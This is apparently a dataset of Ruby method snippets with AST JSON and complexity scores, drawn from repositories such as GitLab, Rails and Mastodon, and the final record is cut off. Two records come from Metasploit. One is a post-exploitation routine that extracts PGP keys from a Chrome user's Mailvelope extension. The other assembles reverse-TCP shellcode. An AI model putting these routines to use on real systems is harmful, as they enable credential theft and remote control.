{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/membership_actions.rb","start_line":73,"raw_source":"def approve_access_request\n    access_requester = requesters.find(params[:id])\n    result = Members::ApproveAccessRequestService\n      .new(current_user, params)\n      .execute(access_requester)\n\n    if result[:status] == :success\n      redirect_to members_page_url\n    else\n      redirect_to members_page_url, alert: result[:message]\n    end\n  end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"approve_access_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"access_requester\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"requesters\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Members\"]},\"ApproveAccessRequestService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]},\"execute\",{\"type\":\"lvar\",\"children\":[\"access_requester\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"members_page_url\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"members_page_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]}]}]}]}]}]}]}","id":"669f6641-9681-42a2-8e6c-d9a2b22155eb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/enum_chrome.rb","start_line":110,"raw_source":"def parse_prefs(username, filepath)\n    prefs = ''\n    File.open(filepath, 'rb') do |f|\n      prefs = f.read\n    end\n    results = ActiveSupport::JSON.decode(prefs)\n    if results['extensions']['settings']\n      print_status('Extensions installed: ')\n      results['extensions']['settings'].each do |name, values|\n        next unless values['manifest']\n\n        print_status(\"=> #{values['manifest']['name']}\")\n        if values['manifest']['name'] =~ /mailvelope/i\n          print_good('==> Found Mailvelope extension, extracting PGP keys')\n          extension_mailvelope(username, name)\n        end\n      end\n    end\n  end","complexity_score":32.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_prefs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"filepath\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prefs\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"filepath\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"prefs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"read\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"JSON\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"prefs\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"[]\",{\"type\":\"str\",\"children\":[\"extensions\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"settings\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Extensions installed: \"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"[]\",{\"type\":\"str\",\"children\":[\"extensions\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"settings\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"str\",\"children\":[\"manifest\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"=> \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"str\",\"children\":[\"manifest\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"str\",\"children\":[\"manifest\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"mailvelope\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"==> Found Mailvelope extension, extracting PGP keys\"]}]},{\"type\":\"send\",\"children\":[null,\"extension_mailvelope\",{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},null]}]}]}]},null]}]}]}","id":"c768ba2b-5329-4d51-8b07-e30a59feb2db"}
{"repo_name":"puma","file_path":"./repos/puma/test/helpers/test_puma/puma_socket.rb","start_line":77,"raw_source":"def before_setup\n      @ios_to_close ||= []\n      @bind_port = nil\n      @bind_path = nil\n      @control_port = nil\n      @control_path = nil\n      super\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"before_setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ios_to_close\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@bind_port\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@bind_path\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@control_port\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@control_path\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"0fdd6804-17c4-4f86-acf5-725128f2b27b"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/importer/steps/categories.rb","start_line":211,"raw_source":"def ensure_unique_name(original_name, parent_id)\n      truncated_name = original_name[0...MAX_NAME_LENGTH].scrub.strip\n      name_lower = truncated_name.downcase\n\n      if @existing_category_names.add?(\"#{parent_id}-#{name_lower}\")\n        return truncated_name, name_lower\n      end\n\n      counter = 1\n      loop do\n        suffix = counter.to_s\n        trim_length = MAX_NAME_LENGTH - suffix.length\n\n        candidate_name = \"#{truncated_name[0...trim_length]}#{suffix}\"\n        candidate_name_lower = candidate_name.downcase\n\n        if @existing_category_names.add?(\"#{parent_id}-#{candidate_name_lower}\")\n          return candidate_name, candidate_name_lower\n        end\n\n        counter += 1\n      end\n    end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_unique_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"original_name\"]},{\"type\":\"arg\",\"children\":[\"parent_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"truncated_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_name\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"const\",\"children\":[null,\"MAX_NAME_LENGTH\"]}]}]},\"scrub\"]},\"strip\"]}]},{\"type\":\"lvasgn\",\"children\":[\"name_lower\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"truncated_name\"]},\"downcase\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@existing_category_names\"]},\"add?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name_lower\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"truncated_name\"]},{\"type\":\"lvar\",\"children\":[\"name_lower\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"counter\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"suffix\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counter\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"trim_length\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAX_NAME_LENGTH\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffix\"]},\"length\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"candidate_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"truncated_name\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"trim_length\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffix\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"candidate_name_lower\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate_name\"]},\"downcase\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@existing_category_names\"]},\"add?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate_name_lower\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate_name\"]},{\"type\":\"lvar\",\"children\":[\"candidate_name_lower\"]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"counter\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"9010f7ae-cf29-44c7-8251-ecf9d5fa9640"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/helpers/rspec.rb","start_line":21,"raw_source":"def describe_successfully(*args, &describe_body)\n          describe_run(*args, passed: true, &describe_body)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"describe_successfully\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"describe_body\"]}]},{\"type\":\"send\",\"children\":[null,\"describe_run\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"passed\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"describe_body\"]}]}]}]}","id":"ef7c0ccc-1ee9-4395-be9f-3df241dcec09"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/attached/model.rb","start_line":289,"raw_source":"def initialize_dup(*) # :nodoc:\n      super\n      @active_storage_attached = nil\n      @attachment_changes = nil\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_dup\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@active_storage_attached\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@attachment_changes\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"738f4c25-7c07-4f50-afe3-a9449f6f7a9c"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/compiler/tag_compiler.rb","start_line":57,"raw_source":"def compile_interpolated_plain(node)\n        temple = [:multi]\n        StringSplitter.compile(node.value[:value]).each do |type, value|\n          case type\n          when :static\n            temple << [:static, value]\n          when :dynamic\n            temple << [:escape, node.value[:escape_interpolation], [:dynamic, value]]\n          end\n        end\n        temple << [:newline]\n      end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"compile_interpolated_plain\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"temple\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"multi\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringSplitter\"]},\"compile\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"static\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temple\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"static\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"dynamic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temple\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"escape\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"escape_interpolation\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dynamic\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temple\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"newline\"]}]}]}]}]}","id":"a29a10a9-c798-46ce-9e03-9cd81827ff1a"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/validators/url_validator.rb","start_line":6,"raw_source":"def validate_each(record, attribute, value)\n    @value = value\n\n    record.errors.add(attribute, :invalid) unless compliant_url?\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@value\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compliant_url?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"sym\",\"children\":[\"invalid\"]}]}]}]}]}","id":"875f93b1-eeef-43b6-90d8-ba888fe5b401"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/namespaces/groups/archive_events.rb","start_line":10,"raw_source":"def publish_group_archived_event\n        event = Namespaces::Groups::GroupArchivedEvent.new(data: {\n          group_id: group.id,\n          root_namespace_id: group.root_ancestor.id\n        })\n\n        Gitlab::EventStore.publish(event)\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"publish_group_archived_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaces\"]},\"Groups\"]},\"GroupArchivedEvent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root_namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"root_ancestor\"]},\"id\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"EventStore\"]},\"publish\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}","id":"ddba8bcc-721e-4270-984e-c0e5b5ef5990"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/ci/build_runner_presenter.rb","start_line":66,"raw_source":"def refspecs\n      specs = []\n      specs << refspec_for_persistent_ref\n\n      if git_depth > 0\n        specs << refspec_for_branch(ref) if branch? || legacy_detached_merge_request_pipeline?\n        specs << refspec_for_tag(ref) if tag?\n      else\n        specs << refspec_for_branch\n        specs << refspec_for_tag\n      end\n\n      specs\n    end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"refspecs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"specs\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"specs\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"refspec_for_persistent_ref\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"git_depth\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"branch?\"]},{\"type\":\"send\",\"children\":[null,\"legacy_detached_merge_request_pipeline?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"specs\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"refspec_for_branch\",{\"type\":\"send\",\"children\":[null,\"ref\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"specs\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"refspec_for_tag\",{\"type\":\"send\",\"children\":[null,\"ref\"]}]}]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"specs\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"refspec_for_branch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"specs\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"refspec_for_tag\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"specs\"]}]}]}","id":"21bb5407-aae0-41bb-a325-cffb8dfb0dc9"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/models/storages/nextcloud_storage.rb","start_line":96,"raw_source":"def configuration_checks\n      {\n        storage_oauth_client_configured: !authenticate_via_storage? || oauth_client.present?,\n        openproject_oauth_application_configured: !authenticate_via_storage? || oauth_application.present?,\n        host_name_configured: host.present? && name.present?,\n        storage_audience_configured: !authenticate_via_idp? || storage_audience.present?\n      }\n    end","complexity_score":23.2,"ast_json":"{\"type\":\"def\",\"children\":[\"configuration_checks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage_oauth_client_configured\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authenticate_via_storage?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oauth_client\"]},\"present?\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"openproject_oauth_application_configured\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authenticate_via_storage?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oauth_application\"]},\"present?\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host_name_configured\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"present?\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage_audience_configured\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authenticate_via_idp?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage_audience\"]},\"present?\"]}]}]}]}]}","id":"06e56dcd-8bbf-429d-aeb1-b1aa6580fde2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows/reverse_tcp_dns.rb","start_line":48,"raw_source":"def generate_reverse_tcp_dns(opts={})\n    combined_asm = %Q^\n      cld                    ; Clear the direction flag.\n      call start             ; Call start, this pushes the address of 'api_call' onto the stack.\n      #{asm_block_api}\n      start:\n        pop ebp\n      #{asm_reverse_tcp_dns(opts)}\n      #{asm_block_recv(opts)}\n    ^\n    Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_reverse_tcp_dns\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"combined_asm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      cld                    ; Clear the direction flag.\\n\"]},{\"type\":\"str\",\"children\":[\"      call start             ; Call start, this pushes the address of 'api_call' onto the stack.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asm_block_api\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      start:\\n\"]},{\"type\":\"str\",\"children\":[\"        pop ebp\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asm_reverse_tcp_dns\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asm_block_recv\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"Shellcode\"]},\"assemble\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"X86\"]},\"new\"]},{\"type\":\"lvar\",\"children\":[\"combined_asm\"]}]},\"encode_string\"]}]}]}","id":"8bfaafea-4e12-46bd-8bd4-4a1fd3a7dc19"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report/generator/html.rb","start_line":95,"raw_source":"def build_html_col(output, col_name, col_format, row_data, time_zone)\n    style = get_style_class(col_name, row_data, time_zone)\n    style_class = style.present? ? \" class='#{style}'\" : nil\n    alignment_style = if db == 'Tenant' && TenantQuota.can_format_field?(col_name, row_data['tenant_quotas.name']) || row_data[col_name].kind_of?(Integer) || row_data[col_name].kind_of?(Float)\n                        :right\n                      elsif row_data[col_name].kind_of?(Time)\n                        :center\n                      end\n\n    output << open_td(style_class, alignment_style)\n    output << format_column(col_name, row_data, time_zone, col_format)\n    output << '</td>'\n  end","complexity_score":29.5,"ast_json":"{\"type\":\"def\",\"children\":[\"build_html_col\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"output\"]},{\"type\":\"arg\",\"children\":[\"col_name\"]},{\"type\":\"arg\",\"children\":[\"col_format\"]},{\"type\":\"arg\",\"children\":[\"row_data\"]},{\"type\":\"arg\",\"children\":[\"time_zone\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"send\",\"children\":[null,\"get_style_class\",{\"type\":\"lvar\",\"children\":[\"col_name\"]},{\"type\":\"lvar\",\"children\":[\"row_data\"]},{\"type\":\"lvar\",\"children\":[\"time_zone\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"style_class\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" class='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"alignment_style\",{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db\"]},\"==\",{\"type\":\"str\",\"children\":[\"Tenant\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TenantQuota\"]},\"can_format_field?\",{\"type\":\"lvar\",\"children\":[\"col_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tenant_quotas.name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row_data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"col_name\"]}]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Integer\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row_data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"col_name\"]}]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Float\"]}]}]},{\"type\":\"sym\",\"children\":[\"right\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row_data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"col_name\"]}]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Time\"]}]},{\"type\":\"sym\",\"children\":[\"center\"]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"open_td\",{\"type\":\"lv